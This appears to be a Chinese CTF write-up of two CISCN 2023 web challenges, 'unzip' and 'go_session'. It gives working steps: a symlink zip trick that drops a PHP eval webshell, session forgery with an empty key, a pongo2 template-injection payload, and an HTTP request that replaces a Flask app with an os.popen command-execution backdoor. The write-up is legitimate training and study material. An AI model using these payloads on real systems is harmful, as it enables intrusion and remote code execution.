目录

ciscn2023 web部分

学习下ciscn2023 web部分

# unzip

复现地址ctfshow ciscn2023 unzip (opens new window)

尝试上传一个图片,上传接口返回处理的源码

1

<?php
# 获取文件MIME类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
# 验证MEME类型,判断文件类型是否为zip
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
# 移动到tmp目录,解压在临时目录里上传的zip文件
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
1
2
3
4
5
6
7
8

分析一下:

  • 上传zip文件,解压到/tmp目录
  • unzip -o参数,如果zip文件中存在同名文件,则覆盖

通过上面两步操作,可以和linux软链接结合起来实现以下功能:

  • 创建一个软链接文件link,指向网站根目录/var/www/html,压缩上传
  • 创建同名文件夹link,在文件夹里创建木马文件,在使在解压后能够覆盖link文件即/var/www/html目录,可以实现把木马解压到/var/www/html目录getshell

在第一步创建link软连接文件压缩后,记得删除,否则无法创建同名文件夹link,是否一定要同名文件夹?是,否则前面创建的软连接没有意义

演示:

在本地创建link软连接文件,指向/var/www/html目录

# 创建软连接
ln -s /var/www/html link
# 压缩
zip --symlinks link.zip link
1
2
3
4

2

删除link软连接文件,创建同名文件夹link,在文件夹里创建shell.php文件

# 删除软连接
rm link
# 创建文件夹,进入
mkdir link
cd link
# 写个🐎子
echo '<?php highlight_file(__FILE__);eval($_GET[1]);phpinfo();?>' > shell.php
# 移动到上一级,压缩
zip -r link1.zip ./link/*
1
2
3
4
5
6
7
8
9

3

现在,可以先上传link.zip文件,实现解压后的link链接到/var/www/html目录,再上传link1.zip文件,把写好的木马直接解压到/var/www/html目录getshell,如果木马文件名为upload.php,index.php应该还可以覆盖原文件

访问木马路径

4

# go_session

考点:

session伪造,pongo2模板注入,debug模式覆盖源文件,通过go的模板渲染修改debug模式下的flask,打一个ssrf

这道题是go,python的模板渲染引擎联动,有go web服务和python web服务

main.go使用go搭建的web服务,定义了三个路由,//admin/flask,可以猜测/flask路由下是python web服务

  • github.com/gin-gonic/gin:导入 Gin 框架包,提供了 web 路由和 HTTP 请求处理功能

  • main/route:导入项目中的 route 包,这个包应该包含了与路由相关的处理函数

package main

import (
        "github.com/gin-gonic/gin"
        "main/route"
)

func main() {
        r := gin.Default()
        r.GET("/", route.Index)
        r.GET("/admin", route.Admin)
        r.GET("/flask", route.Flask)
        r.Run("0.0.0.0:80")
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

route/route.go源码

这是一个路由文件,使用了Gin框架和pongo2的模板引擎,定义了三个路由处理函数:IndexAdminFlask

package route

import (
        "github.com/flosch/pongo2/v6"
        "github.com/gin-gonic/gin"
        "github.com/gorilla/sessions"
        "html"
        "io"
        "net/http"
        "os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
        session, err := store.Get(c.Request, "session-name")
        if err != nil {
                http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                return
        }
        if session.Values["name"] == nil {
                session.Values["name"] = "guest"
                err = session.Save(c.Request, c.Writer)
                if err != nil {
                        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                        return
                }
        }

        c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
        session, err := store.Get(c.Request, "session-name")
        if err != nil {
                http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                return
        }
        if session.Values["name"] != "admin" {
                http.Error(c.Writer, "N0", http.StatusInternalServerError)
                return
        }
        name := c.DefaultQuery("name", "ssti")
        xssWaf := html.EscapeString(name)
        tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
        if err != nil {
                panic(err)
        }
        out, err := tpl.Execute(pongo2.Context{"c": c})
        if err != nil {
                http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                return
        }
        c.String(200, out)
}

func Flask(c *gin.Context) {
        session, err := store.Get(c.Request, "session-name")
        if err != nil {
                http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                return
        }
        if session.Values["name"] == nil {
                if err != nil {
                        http.Error(c.Writer, "N0", http.StatusInternalServerError)
                        return
                }
        }
        resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
        if err != nil {
                return
        }
        defer resp.Body.Close()
        body, _ := io.ReadAll(resp.Body)

        c.String(200, string(body))
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

简单分析:

  • Index:获取session,如果session中name为空,则设置name为guest,返回字符串"Hello, guest"
  • Admin:获取session,如果session中name不为admin,则返回"NO",否则获取name参数,经过html转义后,使用pongo2模板引擎渲染字符串"Hello " + xssWaf + "!",返回渲染后的字符串
  • Flask:获取session,如果session中name为空,则返回"NO",否则向http://127.0.0.1:5000/发送GET请求,获取响应体,返回响应体

其中在Index函数参数传的是gin.Context,类似flask的flask.Requestflask.g,包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点

func Index(c *gin.Context) {
        session, err := store.Get(c.Request, "session-name")
        if err != nil {
                http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                return
        }
        if session.Values["name"] == nil {
                session.Values["name"] = "guest"
                err = session.Save(c.Request, c.Writer)
                if err != nil {
                        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                        return
                }
        }
        c.String(200, "Hello, guest")
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

在Admin函数里,获取session中name的值是否为admin,如果不是,程序停止。如果name的值是admin,使用name := c.DefaultQuery("name", "ssti")获取查询参数name的值,如果name不存在,则默认为ssti。然后使用html.EscapeString(name)name进行html转义,防止xss攻击。接着使用pongo2模板引擎渲染字符串Hello " + xssWaf + "!"

func Admin(c *gin.Context) {
        session, err := store.Get(c.Request, "session-name")
        if err != nil {
                http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                return
        }
        if session.Values["name"] != "admin" {
                http.Error(c.Writer, "N0", http.StatusInternalServerError)
                return
        }
        name := c.DefaultQuery("name", "ssti")
        xssWaf := html.EscapeString(name)
        tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
        if err != nil {
                panic(err)
        }
        out, err := tpl.Execute(pongo2.Context{"c": c})
        if err != nil {
                http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                return
        }
        c.String(200, out)
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

Flask函数里,关键在接收一个name参数,发给本地的5000端口处理,返回结果。需要这样传参url?name=?name=123,键名?name=直接传给go web,键值?name=123传给flask

resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
1

先尝试伪造session,session的密钥在route/route.go源码里提到了session_key的获取方式,从系统变量里获取,没办法获取,大胆猜测环境变量session_key为空,本地搭一个环境看看admin的session值

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
1

本地修改route/route.go的route函数源码,把给所有用户设为admin的session,方便拿到

5

使用go官方的代理,加速依赖下载及github相关依赖的访问,运行main.go

sudo go env -w GOPROXY=https://goproxy.io,direct
sudo go run main.go
1
2

6

访问80端口拿到admin的session,把伪造的session替换到题目里,到admin路由,发现渲染了hello ssti,说明伪造成功了

访问flask路由传入name参数,返回了flask的debug的文本信息,太丑了,可以找到flask应用的路径/app/server.py

7

flask是开启debug模式的,server.py源码修改时会自动重启

在go的gin模板引擎里,SaveUploadedFile()函数接口可以实现文件上传

func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
1

第一个参数获取表单上传的文件,第二个参数是保存的路径

构造payload:

{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
1

在Index函数里,使用了html.EscapeString()函数对name进行html转义,会影响这个payload里的引号

想办法用其他方法替换

  • 第一个参数:c.FormFile("file")就是前端写的上传的name的值,在这里就是file,只要能用gin模板引擎获取一个字符串放在这里占位与后面文件上传时的name保持一致即可
  • 第二个参数:/app/server.py,师傅们使用的是c.Request.Referer()从http头里获取的referer。我在想为什么第一个参数不这么做呢?

第一个参数的解决办法:

  • Context.HandlerName()
HandlerName
返回主处理程序的处理器函数名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”
1
2

main.go里,所以如果是在Admin()函数里调用,返回的就是main/route.Admin,在Index()里,返回的就是main/route.Index

这里执行go ssti模块在main.go的Admin里,Context.HandlerName()可以获取到main/route.Admin,配合last过滤器获取最后一个字符串n作为文件名

第二个参数:

直接拿Context的http请求头里的内容,c.Request.Referer(),获取referer/app/server.py

payload:

{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}}
1

有了payload,用bp上传一个server.py文件,覆盖原有的server.py文件,执行命令

拿一个师傅的poc,复制到bp的Repeate模块把host,session替换掉,server.py可以自己修改

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: 35e1a5bc-b6c3-4cbb-a4cd-10a1442dd09d.challenge.ctf.show
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:session-name=MTczMjYxNzExMHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzHBTGHoCnNu3cFSjoBf3yDewNXiCPuYMFdWsXNLwgXAA==
Upgrade-Insecure-Requests: 1
Content-Length: 425

------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args['name']
    file=os.popen(name).read()
    return file

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

上传成功

11

访问flask路由执行命令

12

其他尝试:在payload{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}}里,第一个参数不理解为什么这样拿一个字符串,不是直接在http参数了拿

好吧,拷打了一下gpt,好像吗真的有限?看起来只有c.ClientIP(),c.Request.Host,c.Request.Referer(),c.Request.RemoteAddr这几个有利用的可能。查阅一下,c.Request.RemoteAddr获取的是tcp协议的网络底层ip,貌似控制不了,c.ClientIP()获取的X-Forwarded-For头,可以尝试伪造一下,c.Request.Host获取的是http头里的host,bp伪造了好像就不能发包了,c.Request.Referer()获取的是http头里的referer,可以伪造

c.GetHeader("User-Agent")
c.GetHeader("Content-Type")
c.FullPath()
c.DefaultQuery("name", "guest")
c.Param("userID")
c.Request.Method
c.Cookie("session_id")
c.ClientIP()
c.Request.Proto
c.GetHeader("User-Agent")
c.Request.Referer()
c.Request.Host
c.Request.RemoteAddr
1
2
3
4
5
6
7
8
9
10
11
12
13

陌生,看不懂。熟悉,失败了

[Error (where: execution) in <string> | Line 1 Col 9 near 'c'] [Error (where: execution) in <string> | Line 1 Col 28 near 'c'] http: no such file
1

13

参考、致谢:

最后一次更新于: 2024/11/26, 19:57:55